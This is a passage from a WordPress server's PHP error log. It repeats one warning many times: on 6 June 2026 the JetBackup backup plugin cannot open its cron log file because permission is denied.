fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:29:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:29:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:30:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:31:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:31:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:31:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:31:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:31:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:31:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:32:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:32:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:32:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:32:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:32:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:32:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:33:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:33:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:33:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:33:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:33:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:33:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:34:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:34:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:34:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:34:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:34:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:34:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:35:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:35:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:35:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:35:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:35:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:36:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:37:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:37:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:37:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:37:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:37:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:37:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:38:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:38:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:38:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:38:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:38:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:38:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:39:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:39:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:39:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:39:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:39:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:40:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:40:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:40:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:40:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:40:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:40:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:41:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:42:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:42:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:42:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:42:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:42:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:42:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:43:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:43:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:43:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:43:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:43:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:43:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:44:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:44:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:44:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:44:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:44:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:44:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:45:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:45:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:45:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:45:39 UTC] PHP Warning: 